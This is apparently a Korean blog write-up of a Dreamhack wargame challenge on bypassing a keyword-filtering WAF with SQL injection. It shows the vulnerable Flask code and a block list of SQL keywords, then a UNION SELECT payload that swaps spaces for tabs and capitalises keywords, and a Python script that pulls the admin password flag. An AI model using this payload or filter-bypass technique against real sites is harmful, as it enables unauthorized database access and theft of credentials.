본문 바로가기

드림핵

[드림핵 워게임] sql injection bypass WAF

- 문제

 

- 풀이

문제 사이트에 접속하면 뜨는 첫 화면이다. SQL 문이 있고, 그 아래 결과가 뜨는 부분이 있고, 그 아래 입력창이 있다.

 

 

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');

파일을 다운로드해서 init.sql 파일을 살펴보면 위와 같은 계정을 삽입하는 sql 문을 확인할 수 있다.

 

 

abcde를 입력창에 입력해보면 해당 uid가 존재하므로 result 부분에 abcde가 뜬다.

 

 

abcdef를 입력창에 입력해보면 해당 uid가 존재하지 않으므로 result 부분에 아무것도 뜨지 않는다.

 

 

이번에는 입력창에 admin을 입력해본다. admin이라는 uid가 존재하므로 결과가 뜰 것으로 예상해본다.

 

 

예상과 달리 your request has been blocked by WAF. 라는 에러 메시지가 뜬다.

 

 

        if check_WAF(uid):
            return 'your request has been blocked by WAF.'

app.py 파일의 코드를 살펴보면 check_WAF() 함수가 true를 반환하면 해당 에러 메시지를 리턴하는 것을 확인할 수 있다.

 

 

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False

check_WAF() 함수에 대한 코드를 확인해보니 union, select, from, and, or, admin,  공백, *, / 이라는 키워드들을 걸러내고 있는 것을 확인할 수 있다.

 

 

admin이라는 키워드를 우회하여 대문자를 섞어 Admin이라는 키워드로 입력해본다.

 

 

쿼리문이 문제없이 실행된다.

키워드의 대소문자를 바꾸어 입력하면 필터링을 우회할 수 있는 것을 알 수 있다.

 

 

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template

return template.format(uid=uid, result=result[1]) 부분을 보면 쿼리 select 결과 중 두번째 내용을 가져오는 것을 확인할 수 있다.

우리가 찾고자 하는 flag는 admin의 upw에 있으므로 upw가 쿼리 select 결과의 두번째로 조회되도록 쿼리문을 짜야 한다.

쿼리문의 앞부분은 이미 프로그램 내부에 들어있으므로 union을 사용해 쿼리 결과를 합쳐 select 결과를 조작할 것이다.

 

 

SELECT * FROM user WHERE uid='' union select null,upw,null from user where uid="admin"#';

이것이 실행할 쿼리문이다.

 

 

'%09Union%09Select%09null,upw,null%09From%09user%09where%09uid=\"Admin\"%23

필터링되는 키워드를 우회하여 다른 문자로 치환한 쿼리문이다.

공백은 %09(탭)으로 치환하고,

키워드의 첫글자를 대문자로 치환했다.

 

 

from requests import get
url = "http://host3.dreamhack.games:11204"
param = f"'%09Union%09Select%09null,upw,null%09From%09user%09where%09uid=\"Admin\"%23"
response = get(f"{url}/?uid={param}")
print(response.text)

파이썬을 이용해 최종 쿼리문을 포함한 익스플로잇 코드를 짰다.

 

 

코드를 실행하면 flag가 뜨는 것을 확인할 수 있다.